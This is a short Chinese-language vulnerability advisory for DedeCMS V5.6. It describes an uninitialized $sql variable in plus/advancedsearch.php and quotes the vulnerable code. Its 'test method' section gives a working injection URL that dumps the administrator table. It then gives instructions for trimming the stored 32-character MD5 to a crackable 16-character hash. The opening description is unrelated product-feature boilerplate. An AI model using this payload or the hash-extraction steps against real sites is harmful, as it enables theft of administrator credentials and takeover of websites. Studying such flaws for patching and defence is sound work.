DedeCms V5.6漏洞 变量未初始化 导致鸡助漏洞


  本文标签:变量,未初始化

漏洞描述:
健壮的模板标签为站长DIY 自己的网站提供了强有力的支持 。高效率标签缓存机制:允许对类同的标签进行缓存,在生成 HTML的时候,有利于提高系统反应速度,降低系统消耗的资源 。模型与模块概念并存:在模型不能满足用户所有需求的情况下,DedeCMS推出一些互动的模块对系统进行补充,尽量满足用户的需求 。

plus/advancedsearch.php
$sql 变量未初始化 。导致鸡助漏洞

复制代码
代码如下:

if($mid == 0) //必须绕过 。
{
showmsg(参数不正确,高级自定义搜索必须指定模型id, javascript);
exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from dede_advancedsearch where mid=$mid";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊,绕过有难度 。
{
showmsg(自定义搜索模型不存在,-1); exit();
}
$template = $searchinfo[template] != ? $searchinfo[template] : advancedsearch.htm;
if(empty($sql)) //人品问题,成功绕过!{
..............
}else{
$sql = urldecode($sql);
$query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
...............
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
.............<*参考
*>

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5